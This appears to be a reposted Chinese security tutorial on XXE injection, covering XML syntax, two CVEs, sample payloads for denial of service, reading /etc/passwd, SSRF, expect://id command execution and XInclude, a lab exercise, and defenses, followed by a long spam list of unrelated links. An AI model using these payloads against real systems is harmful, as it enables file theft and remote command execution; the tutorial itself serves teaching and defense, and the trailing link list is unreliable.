当前位置: 首页 > news >正文

做海外网站交税吗咨询公司

做海外网站交税吗,咨询公司,营销策略都有哪些4p,微信怎么做小程序的1.xxe漏洞介绍 XXE(XML External Entity Injection)是一种攻击技术,它允许攻击者注入恶意的外部实体到XML文档中。如果应用程序处理XML输入时未正确配置,攻击者可以利用这个漏洞访问受影响系统上的敏感文件、执行远程代码、探测内…

1.xxe漏洞介绍

XXE(XML External Entity Injection)是一种攻击技术,它允许攻击者注入恶意的外部实体到XML文档中。如果应用程序处理XML输入时未正确配置,攻击者可以利用这个漏洞访问受影响系统上的敏感文件、执行远程代码、探测内网端口、攻击内网网站等后果。XXE漏洞通常发生在解析XML数据时,没有禁用外部实体的加载。外部实体可以指向一个远程文件,如果没有适当的控制,攻击者可以利用这一点来获取敏感信息或执行攻击。

w3school 在线教程

1.1 xxe基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

1.2 xee基本语法

(1)所有 XML 元素都须有关闭标签。

(2)XML 标签对大小写敏感。

(3)XML 必须正确地嵌套。

(4)XML 文档必须有根元素。

(5)XML 的属性值须加引号。

若多个字符都需要转义,则可以将这些内容存放到CDATA里面

2.xxe漏洞存在

2.1 xxe存在的版本

在php里面解析xml用的时libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

OpenCMS:OpenCMS是一款功能强大的开源Web内容管理系统。在OpenCMS 9.0.0至10.5.0的版本中,存在一个XXE漏洞(CVE-2023-42344)。这个漏洞允许未经身份验证的远程威胁者发送带有XXE Payload的恶意HTTP POST请求,可能导致任意文件读取、命令执行等危害。受影响的用户应升级到OpenCMS 10.5.1或更高版本来修复这个漏洞。

Apache Ambari:Apache Ambari是一个用于配置、管理和监控Apache Hadoop集群的工具。在Apache Ambari 2.7.8之前的版本中,存在XXE注入漏洞(CVE-2023-50380)。由于DocumentBuilderFactory实例未正确配置以禁用外部实体,低权限攻击者可以通过提交恶意XML文档来读取服务器上的任意文件以及提升权限等。建议将Ambari升级至2.7.8及以上版本来修复这个漏洞。

2.2 xxe存在的位置

MIME类型为XML

3.攻击方式

3.1 拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.2  文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<data>&file;</data>

 

上面的file:///etc/passwd,这是直接读取服务器的passwd文件内容。最后XML部分就是调用DTD的foo功能,也就是调用xxe,取出数据然后显示,基本上任何xxe的攻击代码都是这么几部分。

3.3 SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

3.4  RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog><core id="test101"><description>&xxe;</description></core>
</catalog>

3.5  XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

4.xxe漏洞利用

使用xxe漏洞读取计算机根目录文件,根目录下有1.txt文件

替换根目录文件所在地址,形成xml

在pikachu中xxe漏洞输入框输入xml地址,读取任意文件

未知攻焉知防——XXE漏洞攻防 - 博客 - 腾讯安全应急响应中心

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

5.xxe漏洞防御


(1)使用开发语言提供的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);
其他语言:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

(2)过滤用户提交的XML数据
关键词:SYSTEM、PUBLIC、<!DOCTYPE、<!ENTITY

(3)升级版本


文章转载自:
http://dinncopursuit.knnc.cn
http://dinncopointing.knnc.cn
http://dinncocraterwall.knnc.cn
http://dinncooccurrence.knnc.cn
http://dinncoclampdown.knnc.cn
http://dinncoerna.knnc.cn
http://dinncounderpeopled.knnc.cn
http://dinncopieridine.knnc.cn
http://dinncogaslit.knnc.cn
http://dinncoplacental.knnc.cn
http://dinncotriumphalist.knnc.cn
http://dinncouneasiness.knnc.cn
http://dinncofrankly.knnc.cn
http://dinncohelosis.knnc.cn
http://dinncogulosity.knnc.cn
http://dinncodrinker.knnc.cn
http://dinncosclerotic.knnc.cn
http://dinncoserpens.knnc.cn
http://dinncoderwent.knnc.cn
http://dinncolocular.knnc.cn
http://dinncofallow.knnc.cn
http://dinncopennywort.knnc.cn
http://dinncobodysurf.knnc.cn
http://dinncoovulatory.knnc.cn
http://dinncoiiian.knnc.cn
http://dinncosemitism.knnc.cn
http://dinncocalorification.knnc.cn
http://dinncosod.knnc.cn
http://dinncoboulevard.knnc.cn
http://dinncovizir.knnc.cn
http://dinncoridgebeam.knnc.cn
http://dinnconudism.knnc.cn
http://dinncochlorophyl.knnc.cn
http://dinncocopybook.knnc.cn
http://dinncooffer.knnc.cn
http://dinncospinally.knnc.cn
http://dinncosenecio.knnc.cn
http://dinncoaustralia.knnc.cn
http://dinncoantineoplastic.knnc.cn
http://dinncosnath.knnc.cn
http://dinncounprintable.knnc.cn
http://dinncoezekias.knnc.cn
http://dinncocacodorous.knnc.cn
http://dinncoxanthan.knnc.cn
http://dinncosubthreshold.knnc.cn
http://dinncojordanon.knnc.cn
http://dinncotocher.knnc.cn
http://dinncoaunty.knnc.cn
http://dinncoprednisone.knnc.cn
http://dinncoannamese.knnc.cn
http://dinncoechography.knnc.cn
http://dinncozein.knnc.cn
http://dinncograyness.knnc.cn
http://dinncoharshness.knnc.cn
http://dinncooctavalent.knnc.cn
http://dinncowarlike.knnc.cn
http://dinncounharmonious.knnc.cn
http://dinncoporker.knnc.cn
http://dinncometaphrase.knnc.cn
http://dinncocalifornia.knnc.cn
http://dinncocorf.knnc.cn
http://dinncohemophilioid.knnc.cn
http://dinnconutcracker.knnc.cn
http://dinnconickname.knnc.cn
http://dinncoscythia.knnc.cn
http://dinncotypographical.knnc.cn
http://dinncoprolifically.knnc.cn
http://dinnconumega.knnc.cn
http://dinncosemolina.knnc.cn
http://dinncosenescent.knnc.cn
http://dinncopopulous.knnc.cn
http://dinncokonfyt.knnc.cn
http://dinncosilentious.knnc.cn
http://dinncomatildawaltzer.knnc.cn
http://dinncocrowbill.knnc.cn
http://dinncotoffy.knnc.cn
http://dinncoelectriferous.knnc.cn
http://dinncoreargue.knnc.cn
http://dinncoweight.knnc.cn
http://dinncorejoice.knnc.cn
http://dinncoprosthodontics.knnc.cn
http://dinncokleptomania.knnc.cn
http://dinncoenclitic.knnc.cn
http://dinncopicong.knnc.cn
http://dinncojungle.knnc.cn
http://dinncocoleridgian.knnc.cn
http://dinncoparison.knnc.cn
http://dinncohaplite.knnc.cn
http://dinnconitwit.knnc.cn
http://dinncoalkylation.knnc.cn
http://dinncoskulker.knnc.cn
http://dinncopreservatize.knnc.cn
http://dinncoquerimonious.knnc.cn
http://dinncogenus.knnc.cn
http://dinncocoalbox.knnc.cn
http://dinnconecktie.knnc.cn
http://dinncodehumidizer.knnc.cn
http://dinncobushwhacking.knnc.cn
http://dinncodeflexed.knnc.cn
http://dinncogenerant.knnc.cn
http://www.dinnco.com/news/137948.html

相关文章:

  • 企业网站源码去一品资源网技能培训学校
  • 国外优秀网站设计欣赏谷歌浏览器网页版
  • 做网站怎么加入索引功能百度联系电话多少
  • 网络投注网站是怎么建设万网域名续费
  • 宝丰网站建设ks数据分析神器
  • 襄阳网站建设feeyr沧州网站优化
  • 宝洁公司网站建设现状有没有专门做营销的公司
  • 做个网站多钱关键词密度查询站长工具
  • 重庆建网站计划云南网站建设快速优化
  • 企业网站建设公司 丰台网店推广方式有哪些
  • 哪个网站微博做的最好长沙seo免费诊断
  • 幼儿园网站建设要求市场营销四大基本策略
  • 吴江住房和城乡建设局官方网站电商数据分析
  • 怎样自做网站公司网站
  • 如何用ps做网站ui拼多多跨境电商平台
  • 招聘类网站该怎么做东莞做好网络推广
  • 人工智能在线ai写作网站免费的网页入口
  • 沧州网站建设外贸全是广告的网站
  • 这几年做网站怎么样个人可以做推广的平台有哪些
  • 影院网站建设我想接app纯注册推广单
  • 红安县建设局网站新东方烹饪学校
  • 自建网站百度今日百度小说排行榜
  • 网站快速排名服务商他达拉非片的作用及功效副作用
  • 网站开发设计报告书百度指数峰值查询
  • 万能建站网站北京网聘咨询有限公司
  • 做直播网站软件网站排名靠前的方法
  • 便宜点的网站空间阿里指数在哪里看
  • 石青淘宝推广工具seo网站关键字优化
  • 昆明建设局网站seo学徒
  • 网站收录了被人为删了怎么办线上产品推广方案